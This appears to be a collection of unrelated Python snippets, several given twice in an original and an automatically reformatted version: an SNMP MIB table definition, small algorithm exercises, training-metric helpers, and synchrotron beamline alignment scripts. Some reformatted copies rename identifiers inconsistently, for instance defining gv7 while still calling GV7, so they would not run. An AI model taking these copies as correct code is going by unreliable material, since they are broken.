2, 2, 4, 15, 2, 1, 3), display_string().subtype(subtypeSpec=value_size_constraint(0, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlEntryOwner.setStatus('mandatory') trace_cntrl_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))).clone(namedValues=named_values(('x25', 1), ('sdlc', 2), ('frelay', 3), ('hdlc', 4), ('xportiso', 5), ('xporttgx', 6), ('llc', 7), ('sna', 8), ('ppp', 9), ('snafr', 10)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlProtocol.setStatus('mandatory') trace_cntrl_entry_reclaim_time = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 5), time_ticks()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlEntryReclaimTime.setStatus('mandatory') trace_cntrl_on_off = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('start', 1), ('read', 2), ('stop', 3), ('invalid', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlOnOff.setStatus('mandatory') trace_cntrl_action_state = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 7), action_state()).setMaxAccess('readonly') if mibBuilder.loadTexts: traceCntrlActionState.setStatus('mandatory') trace_cntrl_action_error = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('no-error', 1), ('bad-param', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: traceCntrlActionError.setStatus('mandatory') trace_cntrl_file_name = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 9), display_string().subtype(subtypeSpec=value_size_constraint(1, 128))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlFileName.setStatus('mandatory') trace_cntrl_card_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 10), card_ref()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlCardRef.setStatus('mandatory') trace_cntrl_port_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 11), port_ref()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlPortRef.setStatus('mandatory') trace_cntrl_connection_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 12), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlConnectionRef.setStatus('mandatory') trace_cntrl_pu_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 13), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlPURef.setStatus('mandatory') trace_cntrl_mode_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 14), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlModeRef.setStatus('mandatory') trace_cntrl_lu_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 15), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlLURef.setStatus('mandatory') trace_cntrl_station_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 16), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlStationRef.setStatus('mandatory') trace_cntrl_llu_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 17), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlLLURef.setStatus('mandatory') trace_cntrl_rlu_ref = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 18), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlRLURef.setStatus('mandatory') trace_cntrl_option = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 19), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('append', 1), ('clear', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlOption.setStatus('mandatory') trace_cntrl_period = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 20), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlPeriod.setStatus('mandatory') trace_cntrl_mask = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 21), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlMask.setStatus('mandatory') trace_cntrl_buf_size = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 22), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlBufSize.setStatus('mandatory') trace_cntrl_entry_size = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 23), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlEntrySize.setStatus('mandatory') trace_cntrl_buf_full_action = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 24), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('wrap', 1), ('stop', 2), ('stopAndAlarm', 3)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlBufFullAction.setStatus('mandatory') trace_cntrl_read_from_entry_index = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 25), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlReadFromEntryIndex.setStatus('mandatory') trace_cntrl_file_type = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 26), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ascii', 1), ('ebcdic', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlFileType.setStatus('mandatory') mibBuilder.exportSymbols('EICON-MIB-TRACE', mibv2=mibv2, traceCntrlOption=traceCntrlOption, traceCntrlLURef=traceCntrlLURef, traceCntrlProtocol=traceCntrlProtocol, traceCntrlEntryReclaimTime=traceCntrlEntryReclaimTime, traceCntrlBufFullAction=traceCntrlBufFullAction, traceCntrlModeRef=traceCntrlModeRef, PositiveInteger=PositiveInteger, ActionState=ActionState, trace=trace, traceCntrlActionError=traceCntrlActionError, traceCntrlBufSize=traceCntrlBufSize, traceCntrlEntrySize=traceCntrlEntrySize, traceControlTable=traceControlTable, traceCntrlMask=traceCntrlMask, management=management, traceCntrlFileType=traceCntrlFileType, traceCntrlEntryStatus=traceCntrlEntryStatus, traceCntrlReadFromEntryIndex=traceCntrlReadFromEntryIndex, PortRef=PortRef, traceCntrlPURef=traceCntrlPURef, traceCntrlPortRef=traceCntrlPortRef, traceControlEntry=traceControlEntry, ControlOnOff=ControlOnOff, traceCntrlStationRef=traceCntrlStationRef, traceFreeEntryIndex=traceFreeEntryIndex, traceCntrlFileName=traceCntrlFileName, traceCntrlEntryOwner=traceCntrlEntryOwner, traceCntrlConnectionRef=traceCntrlConnectionRef, traceCntrlLLURef=traceCntrlLLURef, traceCntrlActionState=traceCntrlActionState, traceCntrlIndex=traceCntrlIndex, traceCntrlOnOff=traceCntrlOnOff, eicon=eicon, traceCntrlRLURef=traceCntrlRLURef, traceCntrlPeriod=traceCntrlPeriod, module=module, traceCntrlCardRef=traceCntrlCardRef, CardRef=CardRef)
n=int(input()) dp=[[1]*3 for i in range(2)] for i in range(1,n): dp[i%2][0]=(dp[(i-1)%2][0]+dp[(i-1)%2][1]+dp[(i-1)%2][2])%9901 dp[i%2][1]=(dp[(i-1)%2][0]+dp[(i-1)%2][2])%9901 dp[i%2][2]=(dp[(i-1)%2][0]+dp[(i-1)%2][1])%9901 n-=1 print((dp[n%2][0]+dp[n%2][1]+dp[n%2][2])%9901)
n = int(input()) dp = [[1] * 3 for i in range(2)] for i in range(1, n): dp[i % 2][0] = (dp[(i - 1) % 2][0] + dp[(i - 1) % 2][1] + dp[(i - 1) % 2][2]) % 9901 dp[i % 2][1] = (dp[(i - 1) % 2][0] + dp[(i - 1) % 2][2]) % 9901 dp[i % 2][2] = (dp[(i - 1) % 2][0] + dp[(i - 1) % 2][1]) % 9901 n -= 1 print((dp[n % 2][0] + dp[n % 2][1] + dp[n % 2][2]) % 9901)
''' The cost of a stock on each day is given in an array. Find the max profit that you can make by buying and selling in those days. Only 1 stock can be held at a time. For example: Array = {100, 180, 260, 310, 40, 535, 695} The maximum profit can earned by buying on day 0, selling on day 3. Again buy on day 4 and sell on day 6. If the given array of prices is sorted in decreasing order, then profit cannot be earned at all. ''' ''' If we are allowed to buy and sell only once, then we can use following algorithm. Maximum difference between two elements. Here we are allowed to buy and sell multiple times. Following is algorithm for this problem. 1. Find the local minima and store it as starting index. If not exists, return. 2. Find the local maxima. and store it as ending index. If we reach the end, set the end as ending index. 3. Update the solution (Increment count of buy sell pairs) 4. Repeat the above steps if end is not reached. Alternate solution: class Solution { public int maxProfit(int[] prices) { int maxprofit = 0; for (int i = 1; i < prices.length; i++) { if (prices[i] > prices[i - 1]) maxprofit += prices[i] - prices[i - 1]; } return maxprofit; } } Explanation - https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/solution/ '''
""" The cost of a stock on each day is given in an array. Find the max profit that you can make by buying and selling in those days. Only 1 stock can be held at a time. For example: Array = {100, 180, 260, 310, 40, 535, 695} The maximum profit can earned by buying on day 0, selling on day 3. Again buy on day 4 and sell on day 6. If the given array of prices is sorted in decreasing order, then profit cannot be earned at all. """ '\nIf we are allowed to buy and sell only once, then we can use following algorithm. Maximum difference between two elements. Here we are allowed to buy and sell multiple times.\nFollowing is algorithm for this problem.\n 1. Find the local minima and store it as starting index. If not exists, return.\n 2. Find the local maxima. and store it as ending index. If we reach the end, set the end as ending index.\n 3. Update the solution (Increment count of buy sell pairs)\n 4. Repeat the above steps if end is not reached.\n\nAlternate solution:\nclass Solution {\n public int maxProfit(int[] prices) {\n int maxprofit = 0;\n for (int i = 1; i < prices.length; i++) {\n if (prices[i] > prices[i - 1])\n maxprofit += prices[i] - prices[i - 1];\n }\n return maxprofit;\n }\n}\nExplanation - https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/solution/\n'
# data input inp1 = input().split() inp2 = input().split() # data processing code1 = inp1[0] num_code1 = int(inp1[1]) unit_value1 = float(inp1[2]) code2 = inp2[0] num_code2 = int(inp2[1]) unit_value2 = float(inp2[2]) price = num_code1 * unit_value1 + num_code2 * unit_value2 # data output print('VALOR A PAGAR: R$', '%.2f' % price)
inp1 = input().split() inp2 = input().split() code1 = inp1[0] num_code1 = int(inp1[1]) unit_value1 = float(inp1[2]) code2 = inp2[0] num_code2 = int(inp2[1]) unit_value2 = float(inp2[2]) price = num_code1 * unit_value1 + num_code2 * unit_value2 print('VALOR A PAGAR: R$', '%.2f' % price)
class BaseCloudController: pass
class Basecloudcontroller: pass
__import__("math", fromlist=[]) __import__("xml.sax.xmlreader") result = "subpackage_2" class PackageBSubpackage2Object_0: pass def dynamic_import_test(name: str): __import__(name)
__import__('math', fromlist=[]) __import__('xml.sax.xmlreader') result = 'subpackage_2' class Packagebsubpackage2Object_0: pass def dynamic_import_test(name: str): __import__(name)
def timeConversion(s): ampm = s[-2:] hr = s[:2] if ampm == 'AM': return s[:-2] if hr != '12' else '00' + s[2:-2] return s[:-2] if hr == '12' else str(int(s[:2]) + 12) + s[2:-2] if __name__ == '__main__': s1 = '07:05:45PM' assert timeConversion(s1) == '19:05:45' s2 = '07:05:45AM' assert timeConversion(s2) == '07:05:45' s3 = '12:06:21PM' assert timeConversion(s3) == '12:06:21' s4 = '12:06:21AM' assert timeConversion(s4) == '00:06:21'
def time_conversion(s): ampm = s[-2:] hr = s[:2] if ampm == 'AM': return s[:-2] if hr != '12' else '00' + s[2:-2] return s[:-2] if hr == '12' else str(int(s[:2]) + 12) + s[2:-2] if __name__ == '__main__': s1 = '07:05:45PM' assert time_conversion(s1) == '19:05:45' s2 = '07:05:45AM' assert time_conversion(s2) == '07:05:45' s3 = '12:06:21PM' assert time_conversion(s3) == '12:06:21' s4 = '12:06:21AM' assert time_conversion(s4) == '00:06:21'
def get_metrics(history): plot_metrics = [ k for k in history.keys() if k not in ['epoch', 'batches'] and not k.startswith('val_') ] return plot_metrics def get_metric_vs_epoch(history, metric, batches=True): data = [] val_metric = f'val_{metric}' for key in [metric, val_metric]: if key in history: values = history[key] if 'epoch' in history: epochs = history['epoch'] else: epochs = list(range(len(values))) data.append( { 'x': epochs, 'y': values, 'label': key } ) if batches: batch_data = _get_batch_metric_vs_epoch(history, metric) if batch_data: data.append(batch_data) return data def _get_batch_metric_vs_epoch(history, metric): if not history.get('batches') or metric not in history['batches'][0]: return epoch_value = [ (epoch, value) for epoch, batch in zip(history['epoch'], history['batches']) for value in batch[metric] ] epoch, value = zip(*epoch_value) return {'x': list(epoch), 'y': list(value), 'label': f'batch_{metric}'}
def get_metrics(history): plot_metrics = [k for k in history.keys() if k not in ['epoch', 'batches'] and (not k.startswith('val_'))] return plot_metrics def get_metric_vs_epoch(history, metric, batches=True): data = [] val_metric = f'val_{metric}' for key in [metric, val_metric]: if key in history: values = history[key] if 'epoch' in history: epochs = history['epoch'] else: epochs = list(range(len(values))) data.append({'x': epochs, 'y': values, 'label': key}) if batches: batch_data = _get_batch_metric_vs_epoch(history, metric) if batch_data: data.append(batch_data) return data def _get_batch_metric_vs_epoch(history, metric): if not history.get('batches') or metric not in history['batches'][0]: return epoch_value = [(epoch, value) for (epoch, batch) in zip(history['epoch'], history['batches']) for value in batch[metric]] (epoch, value) = zip(*epoch_value) return {'x': list(epoch), 'y': list(value), 'label': f'batch_{metric}'}
DEFAULT_JOB_CLASS = 'choreo.multirq.job.Job' DEFAULT_QUEUE_CLASS = 'choreo.multirq.Queue' DEFAULT_WORKER_CLASS = 'choreo.retry.RetryWorker' DEFAULT_CONNECTION_CLASS = 'redis.StrictRedis' DEFAULT_WORKER_TTL = 420 DEFAULT_RESULT_TTL = 500
default_job_class = 'choreo.multirq.job.Job' default_queue_class = 'choreo.multirq.Queue' default_worker_class = 'choreo.retry.RetryWorker' default_connection_class = 'redis.StrictRedis' default_worker_ttl = 420 default_result_ttl = 500
#Aligam GiSAXS sample # def align_gisaxs_height_subh( rang = 0.3, point = 31 ,der=False ): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from bp.rel_scan([pil1M,pil1mroi1,pil1mroi2], piezo.y, -rang, rang, point) ps(der=der) yield from bps.mv(piezo.y, ps.cen) def align_gisaxs_th_subh( rang = 0.3, point = 31 ): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from bp.rel_scan([pil1M], piezo.th, -rang, rang, point ) ps() yield from bps.mv(piezo.th, ps.peak) Att_Align1 = att2_6 #att1_12 Att_Align2 = att2_7 #att1_9 GV7 = TwoButtonShutter('XF:12IDC-VA:2{Det:1M-GV:7}', name='GV7') alignbspossubh = 11.15 measurebspossubh = 1.15 def alignmentmodesubh(): #Att_Align1.set("Insert") #yield from bps.sleep(1) yield from bps.mv(att1_2, 'Insert') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Insert') yield from bps.sleep(1) yield from bps.mv(GV7.open_cmd, 1 ) yield from bps.mv(pil1m_bs_rod.x, alignbspossubh) if waxs.arc.position < 12 : yield from bps.mv(waxs,12) sample_id(user_name='test', sample_name='test') def measurementmodesubh(): yield from bps.mv(pil1m_bs_rod.x,measurebspossubh) yield from bps.sleep(1) #Att_Align1.set("Retract") #yield from bps.sleep(1) yield from bps.mv(att1_2, 'Retract') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Retract') yield from bps.sleep(1) yield from bps.mv(GV7.close_cmd, 1 ) yield from bps.sleep(1) #mov(waxs,3) def alignquick(): #Att_Align1.set("Insert") #yield from bps.sleep(1) yield from bps.mv(att1_2, 'Insert') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Insert') yield from bps.sleep(1) yield from bps.mv(GV7.open_cmd, 1 ) yield from bps.mv(pil1m_bs_rod.x, alignbspossubh) if waxs.arc.position < 8 : yield from bps.mv(waxs,8) sample_id(user_name='test', sample_name='test') def meas_after_alignquick(): yield from bps.mv(pil1m_bs_rod.x,measurebspossubh) yield from bps.sleep(1) yield from bps.mv(att1_2, 'Retract') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Retract') yield from bps.sleep(1) #mov(waxs,3) def alignsubhgi(): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from alignmentmodesubh() yield from bps.mv(pil1M.roi1.min_xyz.min_y, 863) yield from bps.mv(pil1M.roi1.size.y, 100) yield from bps.mv(pil1M.roi1.size.x, 100) yield from align_gisaxs_height_subh(1000,16,der=True) yield from align_gisaxs_th_subh(1000,11) yield from align_gisaxs_height_subh(500,11,der=True) yield from align_gisaxs_th_subh(500,11) yield from bps.mv(piezo.th, ps.peak -100) yield from bps.mv(pil1M.roi1.min_xyz.min_y, 783) yield from bps.mv(pil1M.roi1.size.y, 10) yield from align_gisaxs_th_subh(300,31) yield from align_gisaxs_height_subh(200,21) yield from align_gisaxs_th_subh(100,21) yield from bps.mv(piezo.th, ps.cen+12)#moves the th to 0.012 degrees positive from aligned 0.1 yield from measurementmodesubh() def do_grazingsubh(meas_t=1): #xlocs = [48403] #names = ['BW30-CH-Br-1'] # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] xlocs = [0] x_offset = np.linspace(2000, -2000, 41) names = ['btbtwo3'] prealigned = [0] for xloc, name, aligned in zip(xlocs, names, prealigned): yield from bps.mv(piezo.x,xloc) yield from bps.mv(piezo.th,-1300) if aligned==0 : yield from alignsubhgi() plt.close('all') angle_offset = np.linspace(-120, 80, 41) #angle_offset = array([-120,-115,-110,-105,-100,-95,-90,-85,-80,-75,-70,-65,-60,-55,-50,-45,-40,-35,-30,-25,-20,-15,-10,-5,0,5,10,15,20,25,30,35,40,45,50,55,60,65,70,75,80]) e_list = [7060] a_off = piezo.th.position waxs_arc = [3, 21, 4] det_exposure_time(meas_t) name_fmt = '{sample}_{energ}eV_{angle}deg' offset_idx = 0 #yield from bps.mv(att2_9, 'Insert') for i_e, e in enumerate(e_list): #yield from bps.mv(energy, e) for j, ang in enumerate( a_off - np.array(angle_offset) ): yield from bps.mv(piezo.x, xloc+x_offset[offset_idx]) offset_idx += 1 real_ang = 0.200 + angle_offset[j]/1000 yield from bps.mv(piezo.th, ang) sample_name = name_fmt.format(sample=name, angle=real_ang, energ = e) #print(param) sample_id(user_name='NIST', sample_name=sample_name) print(f'\n\t=== Sample: {sample_name} ===\n') #print(RE.md) yield from bp.scan(dets, waxs, *waxs_arc) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5) #yield from bps.mv(att2_9, 'Retract') def align_shortcut(): yield from alignquick() yield from align_gisaxs_height_subh(100,15) yield from meas_after_alignquick() def do_grazingtemp(meas_t=4): # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] e_list = [20300] det_exposure_time(meas_t) waxs_arc = [3, 9, 2] piezo_x1 = [0, -400, 12] piezo_x2 = [-500, -900, 12] piezo_x3 = [-1000, -1400, 12] piezo_x4 = [-1500, -1900, 12] piezo_x5 = [-2000, -2400, 12] piezo_x6 = [-2500, -2900, 12] piezo_x7 = [-3000, -3400, 12] piezo_x8 = [-3500, -3900, 12] sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV1') yield from bp.grid_scan(dets, piezo.x, *piezo_x1, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV2') yield from bp.grid_scan(dets, piezo.x, *piezo_x2, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV3') yield from bp.grid_scan(dets, piezo.x, *piezo_x3, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV4') yield from bp.grid_scan(dets, piezo.x, *piezo_x4, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV5') yield from bp.grid_scan(dets, piezo.x, *piezo_x5, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV6') yield from bp.grid_scan(dets, piezo.x, *piezo_x6, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV7') yield from bp.grid_scan(dets, piezo.x, *piezo_x7, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV8') yield from bp.grid_scan(dets, piezo.x, *piezo_x8, waxs, *waxs_arc, 1) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5) def do_singleimage(meas_t=4): # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] e_list = [20300] det_exposure_time(meas_t) waxs_arc = [3, 9, 2] sample_id(user_name='AK', sample_name='PVDFWBcool_50C_0.088deg_20300eV1') yield from bp.grid_scan(dets, waxs, *waxs_arc) def do_grazing_cool(meas_t=4): # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] waxs_arc = [3, 9, 2] e_list = [20300] det_exposure_time(meas_t) xlocs = [0] sample_id(user_name='AK', sample_name='PB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [10000] sample_id(user_name='AK', sample_name='P50B_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [20000] sample_id(user_name='AK', sample_name='PWB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [30000] sample_id(user_name='AK', sample_name='P50WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [40000] sample_id(user_name='AK', sample_name='PVDFWB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [50000] sample_id(user_name='AK', sample_name='P75WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [60000] sample_id(user_name='AK', sample_name='P75WB_100C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [70000] sample_id(user_name='AK', sample_name='P25WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [80000] sample_id(user_name='AK', sample_name='P25B_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [90000] sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) # sample_id(user_name='test', sample_name='test') # det_exposure_time(0.5) def do_grazing1(meas_t=2): #xlocs = [48403] #names = ['BW30-CH-Br-1'] # Detectors, motors: dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] xlocs = [-37950] x_offset = [-200, 0, 200] names = ['ctrl1_focused_recheckoldmacro'] prealigned = [0] for xloc, name, aligned in zip(xlocs, names, prealigned): yield from bps.mv(piezo.x,xloc) yield from bps.mv(piezo.th,-500) if aligned==0 : yield from alignYalegi() plt.close('all') angle_offset = [100, 220, 300] e_list = [2460, 2477, 2500] a_off = piezo.th.position waxs_arc = [3, 87, 15] det_exposure_time(meas_t) name_fmt = '{sample}_{energ}eV_{angle}deg' for i_e, e in enumerate(e_list): yield from bps.mv(energy, e) yield from bps.mv(piezo.x, xloc+x_offset[i_e]) for j, ang in enumerate( a_off - np.array(angle_offset) ): real_ang = 0.3 + angle_offset[j]/1000 yield from bps.mv(piezo.th, ang) sample_name = name_fmt.format(sample=name, angle=real_ang, energ = e) #print(param) sample_id(user_name='FA', sample_name=sample_name) print(f'\n\t=== Sample: {sample_name} ===\n') #print(RE.md) yield from bp.scan(dets, waxs, *waxs_arc) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5)
def align_gisaxs_height_subh(rang=0.3, point=31, der=False): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from bp.rel_scan([pil1M, pil1mroi1, pil1mroi2], piezo.y, -rang, rang, point) ps(der=der) yield from bps.mv(piezo.y, ps.cen) def align_gisaxs_th_subh(rang=0.3, point=31): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from bp.rel_scan([pil1M], piezo.th, -rang, rang, point) ps() yield from bps.mv(piezo.th, ps.peak) att__align1 = att2_6 att__align2 = att2_7 gv7 = two_button_shutter('XF:12IDC-VA:2{Det:1M-GV:7}', name='GV7') alignbspossubh = 11.15 measurebspossubh = 1.15 def alignmentmodesubh(): yield from bps.mv(att1_2, 'Insert') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Insert') yield from bps.sleep(1) yield from bps.mv(GV7.open_cmd, 1) yield from bps.mv(pil1m_bs_rod.x, alignbspossubh) if waxs.arc.position < 12: yield from bps.mv(waxs, 12) sample_id(user_name='test', sample_name='test') def measurementmodesubh(): yield from bps.mv(pil1m_bs_rod.x, measurebspossubh) yield from bps.sleep(1) yield from bps.mv(att1_2, 'Retract') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Retract') yield from bps.sleep(1) yield from bps.mv(GV7.close_cmd, 1) yield from bps.sleep(1) def alignquick(): yield from bps.mv(att1_2, 'Insert') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Insert') yield from bps.sleep(1) yield from bps.mv(GV7.open_cmd, 1) yield from bps.mv(pil1m_bs_rod.x, alignbspossubh) if waxs.arc.position < 8: yield from bps.mv(waxs, 8) sample_id(user_name='test', sample_name='test') def meas_after_alignquick(): yield from bps.mv(pil1m_bs_rod.x, measurebspossubh) yield from bps.sleep(1) yield from bps.mv(att1_2, 'Retract') yield from bps.sleep(1) yield from bps.mv(att1_3, 'Retract') yield from bps.sleep(1) def alignsubhgi(): det_exposure_time(0.5) sample_id(user_name='test', sample_name='test') yield from alignmentmodesubh() yield from bps.mv(pil1M.roi1.min_xyz.min_y, 863) yield from bps.mv(pil1M.roi1.size.y, 100) yield from bps.mv(pil1M.roi1.size.x, 100) yield from align_gisaxs_height_subh(1000, 16, der=True) yield from align_gisaxs_th_subh(1000, 11) yield from align_gisaxs_height_subh(500, 11, der=True) yield from align_gisaxs_th_subh(500, 11) yield from bps.mv(piezo.th, ps.peak - 100) yield from bps.mv(pil1M.roi1.min_xyz.min_y, 783) yield from bps.mv(pil1M.roi1.size.y, 10) yield from align_gisaxs_th_subh(300, 31) yield from align_gisaxs_height_subh(200, 21) yield from align_gisaxs_th_subh(100, 21) yield from bps.mv(piezo.th, ps.cen + 12) yield from measurementmodesubh() def do_grazingsubh(meas_t=1): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] xlocs = [0] x_offset = np.linspace(2000, -2000, 41) names = ['btbtwo3'] prealigned = [0] for (xloc, name, aligned) in zip(xlocs, names, prealigned): yield from bps.mv(piezo.x, xloc) yield from bps.mv(piezo.th, -1300) if aligned == 0: yield from alignsubhgi() plt.close('all') angle_offset = np.linspace(-120, 80, 41) e_list = [7060] a_off = piezo.th.position waxs_arc = [3, 21, 4] det_exposure_time(meas_t) name_fmt = '{sample}_{energ}eV_{angle}deg' offset_idx = 0 for (i_e, e) in enumerate(e_list): for (j, ang) in enumerate(a_off - np.array(angle_offset)): yield from bps.mv(piezo.x, xloc + x_offset[offset_idx]) offset_idx += 1 real_ang = 0.2 + angle_offset[j] / 1000 yield from bps.mv(piezo.th, ang) sample_name = name_fmt.format(sample=name, angle=real_ang, energ=e) sample_id(user_name='NIST', sample_name=sample_name) print(f'\n\t=== Sample: {sample_name} ===\n') yield from bp.scan(dets, waxs, *waxs_arc) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5) def align_shortcut(): yield from alignquick() yield from align_gisaxs_height_subh(100, 15) yield from meas_after_alignquick() def do_grazingtemp(meas_t=4): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] e_list = [20300] det_exposure_time(meas_t) waxs_arc = [3, 9, 2] piezo_x1 = [0, -400, 12] piezo_x2 = [-500, -900, 12] piezo_x3 = [-1000, -1400, 12] piezo_x4 = [-1500, -1900, 12] piezo_x5 = [-2000, -2400, 12] piezo_x6 = [-2500, -2900, 12] piezo_x7 = [-3000, -3400, 12] piezo_x8 = [-3500, -3900, 12] sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV1') yield from bp.grid_scan(dets, piezo.x, *piezo_x1, waxs, *waxs_arc, 1) yield from align_shortcut() 